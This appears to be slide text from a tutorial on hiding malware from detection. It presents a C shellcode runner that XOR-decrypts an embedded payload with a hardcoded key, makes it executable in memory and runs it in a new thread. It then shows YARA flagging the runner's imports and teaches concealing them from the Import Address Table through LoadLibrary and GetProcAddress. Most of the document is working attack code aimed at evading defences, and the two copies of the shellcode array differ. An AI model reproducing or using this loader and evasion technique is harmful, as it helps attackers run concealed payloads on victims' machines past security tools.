

Function obfuscation (hiding) of malware

shellcode_encrypted_runner.exe :

```
< #include<Windows.h>
< #include<iostream>

// XOR encrypt/decrypt function
> void xor_encrypt_decrypt(unsigned char* data, size_t data_len, const char* key){ ... }

//encrypted shellcode
unsigned char shellcode[] =
"\x8F\x2D\xE0\x96\x95\x9C\xB3\x65\x63\x72\x24\x25\x32\x35\x31\x23"
"\x33\x3C\x42\xB7\x06\x3A\xEE\x26\x13\x2D\xE8\x20\x7D\x3C\xF8\x37"
"\x43\x3A\xEE\x06\x23\x2D\x6C\xC5\x25\x3E\x54\xAA\x3A\x54\xB4"
"\xDF\x59\x02\x0E\x67\x58\x53\x25\x68\x35\x72\xA4\x81\x9F"
"\x37\x35\x22\x2D\xE8\x20\x59\x2B\x73\xB5\xFF\xF3\xED"
"\x63\x72\x65\x3C\xF5\x2D\x75\xA3\x35\xE8\x3A\x7D\x30"
"\xF8\x25\x43\x3B\x50\x33\x2B\x8D\xAC\x35\xF8\x51\xEB\x3A"
"\x64\xA2\x3E\x54\x3A\x54\xB4\xDF\x24\xA2\xBB\x68\x35\x72\xA4"
"\x22\x67\x01\x0A\x09\x72\x3C\x35\xFA\xBF\x9C\xA7\x65";

int main()
{
    //allocate the memory
    LPVOID allocateMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    const char* key = "secret"; //key
    xor_encrypt_decrypt(shellcode, sizeof(shellcode), key);

    //copy the shellcode to allocate memory
    RtlMoveMemory(allocateMem, shellcode, sizeof(shellcode));

    //make it executable
    DWORD oldprotect = 0;
    VirtualProtect(allocateMem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

    //execute it
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocateMem, NULL, NULL, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}
```

shellcode_encrypted_runner.exe :

```
#include<Windows.h>
#include<iostream>

// XOR encrypt/decrypt function
void xor_encrypt_decrypt(unsigned char* data, size_t data_len, const char* key){ ... }
```

```
//encrypted shellcode
unsigned char shellcode[] =
"\x8F\x2D\xE0\x96\x95\x9C\xB3\x65\x63\x72\x24\x25\x32\x35\x31\x23"
"\x33\x3C\x42\xB7\x06\x3A\xEE\x26\x13\x2D\xE8\x20\x7D\x3C\xF8\x37"
"\x43\x3A\xEE\x06\x23\x2D\x6C\xC5\x2F\x3E\x54\xAA\x3A\x54\xB4"
"\xDF\x59\x02\x0E\x67\x58\x53\x68\x35\x72\xA4\x81\x9F"
"\x37\x35\x22\x2D\xE8\x20\x59\x2B\x73\xB5\xFF\xF3\xED"
"\x63\x72\x65\x3C\xF8\x37\x2D\x75\xA3\x35\xE8\x3A\x7D\x30"
"\xF8\x25\x43\x3B\x50\x33\x2B\x8D\xAC\x35\xF8\x51\xEB\x3A"
"\x64\xA2\x3E\x54\x3A\x54\xB4\xDF\x24\xA2\xBB\x68\x35\x72\xA4"
"\x22\x67\x01\x0A\x09\x72\x3C\x35\xFA\xBF\x9C\xA7\x65";
```

```
int main()
{
    //allocate the memory
    LPVOID allocateMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    const char* key = "secret"; //key
    xor_encrypt_decrypt(shellcode, sizeof(shellcode), key);

    //copy the shellcode to allocate memory
    RtlMoveMemory(allocateMem, shellcode, sizeof(shellcode));

    //make it executable
    DWORD oldprotect = 0;
    VirtualProtect(allocateMem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

    //execute it
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocateMem, NULL, NULL, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}
```

Yara rules

```
C:\Windows\System32\cmd.exe
Microsoft Windows [Version 10.0.19045.6216]
(c) Microsoft Corporation. All rights reserved.

C:\yara>yara64.exe shellcode_detect.yar c:\Users\Victim\Documents\codes\shellcode
shellcode detected c:\Users\Victim\Documents\codes\shellcode
0xe446:$VirtualAlloc_str: VirtualAlloc
0xe456:$VirtualProtect_str: VirtualProtect
0xe436:$CreateThread_str: CreateThread

C:\yara>
```

Functions are
Detected by Yara

Import Address Table (IAT)

The IAT (Import Address Table) in a Windows PE binary is a lookup table that stores the actual memory addresses of functions that the program imports from DLLs.

Example:

```
#include<windows.h>
```

```
int main()
{
    MessageBoxA(NULL,"Hello Hacker", "Title", MB_OK);

    return 0;
}
```



user32.dll



Imported

Import Address Table (IAT)

- **MessageBoxA()**
-
-
-
-
-

Hiding function from Import Address Table (IAT)

Example:

```
#include<windows.h>
```

```
int main()  
{
```

```
    MessageBoxA(NULL,"Hello Hacker", "Title", MB_OK);
```

```
    return 0;  
}
```

Hide



user32.dll

Imported

Import Address Table (IAT)

- **MessageBoxA()**
-
-
-
-
-

Hiding function from Import Address Table (IAT)

Load the function address from the dll in runtime

Steps:

1. Create a `typedef` for the function.
2. Load the dll file in runtime using `LoadLibrary("user32.dll")` winapi function.
3. Load the function address from the loaded dll using `GetProcAddress()` winapi function.
4. Call the obfuscated function.

Example:

```
#include<windows.h>
```

```
int main()
{
    MessageBoxA(NULL,"Hello Hacker", "Title", MB_OK);
    return 0;
}
```

Hiding function from Import Address Table (IAT)

Load the function address from the dll in runtime

Steps:

1. Create a **typedef** for the function.
2. Load the dll file in runtime using `LoadLibrary("user32.dll")` winapi function.
3. Load the function address from the loaded dll using `GetProcAddress()` winapi function.
4. Call the obfuscated function.

Example:

```
#include<windows.h>
```

```
//step1: Create a typedef for the function
```

```
typedef INT(WINAPI* mymsgbox)(HWND,LPCSTR,LPCSTR,UINT);
```



```
int main()
```

```
{
```

```
    //step 2: Load the dll file
```

```
    HMODULE user32dll = LoadLibraryA("user32.dll");
```

```
    //step 3: Load the function address from the loaded dll
```

```
    mymsgbox newmsgbox = (mymsgbox)GetProcAddress(user32dll, "MessageBoxA");
```

```
    //step 4: call the obfuscated function
```

```
    newmsgbox(NULL, "Hello Hacker", "Titel", MB_OK);
```

```
    return 0;
```

```
}
```

Hiding function from Import Address Table (IAT)

Load the function address from the dll in runtime

Steps:

1. Create a **typedef** for the function.
2. Load the dll file in runtime using **LoadLibrary("user32.dll")** winapi function.
3. Load the function address from the loaded dll using **GetProcAddress()** winapi function.
4. Call the obfuscated function.

Example:

```
#include<windows.h>
```

```
//step1: Create a typedef for the function
```

```
typedef INT(WINAPI* mymsgbox)(HWND,LPCSTR,LPCSTR,UINT);
```

```
int main()  
{
```

```
    //step 2: Load the dll file
```

```
    HMODULE user32dll = LoadLibraryA("user32.dll");
```



```
    //step 3: Load the function address from the loaded dll
```

```
    mymsgbox newmsgbox = (mymsgbox)GetProcAddress(user32dll, "MessageBoxA");
```

```
    //step 4: call the obfuscated function
```

```
    newmsgbox(NULL, "Hello Hacker", "Titel", MB_OK);
```

```
    return 0;
```

```
}
```



user32.dll

MessageBoxA()

Hiding function from Import Address Table (IAT)

Load the function address from the dll in runtime

Steps:

1. Create a **typedef** for the function.
2. Load the dll file in runtime using `LoadLibrary("user32.dll")` winapi function.
3. Load the function address from the loaded dll using `GetProcAddress()` winapi function.
4. Call the obfuscated function.

Example:

```
#include<windows.h>

//step1: Create a typedef for the function
typedef INT(WINAPI* mymsgbox)(HWND,LPCSTR,LPCSTR,UINT);

int main()
{

    //step 2: Load the dll file
    HMODULE user32dll = LoadLibraryA("user32.dll");

    //step 3: Load the function address from the loaded dll
    mymsgbox newmsgbox = (mymsgbox)GetProcAddress(user32dll, "MessageBoxA");

    //step 4: call the obfuscated function
    newmsgbox(NULL, "Hello Hacker", "Titel", MB_OK);

    return 0;
}
```



user32.dll

MessageBoxA()

Hiding function from Import Address Table (IAT)

Load the function address from the dll in runtime

Steps:

1. Create a **typedef** for the function.
2. Load the dll file in runtime using **LoadLibrary("user32.dll")** winapi function.
3. Load the function address from the loaded dll using **GetProcAddress()** winapi function.
4. **Call the obfuscated function.**



user32.dll



MessageBoxA()

Example:

```
#include<windows.h>

//step1: Create a typedef for the function
typedef INT(WINAPI* mymsgbox)(HWND,LPCSTR,LPCSTR,UINT);

int main()
{
    //step 2: Load the dll file
    HMODULE user32dll = LoadLibraryA("user32.dll");

    //step 3: Load the function address from the loaded dll
    mymsgbox newmsgbox = (mymsgbox)GetProcAddress(user32dll, "MessageBoxA");

    //step 4: call the obfuscated function
    newmsgbox(NULL, "Hello Hacker", "Titel", MB_OK);

    return 0;
}
```



Apply the function obfuscation to our malware



Kernel32.dll

↓ Imported

```
int main()
{
    //allocate the memory
    LPVOID allocateMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    const char* key = "secret"; //key
    xor_encrypt_decrypt(shellcode, sizeof(shellcode), key);

    //copy the shellcode to allocate memory
    RtlMoveMemory(allocateMem, shellcode, sizeof(shellcode));

    //make it executable
    DWORD oldprotect = 0;
    VirtualProtect(allocateMem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

    //execute it
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocateMem, NULL, NULL, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}
```

Import Address Table (IAT)

- VirtualAlloc()
- VirtualProtect()
- CreateThread()
-
-
-
-
-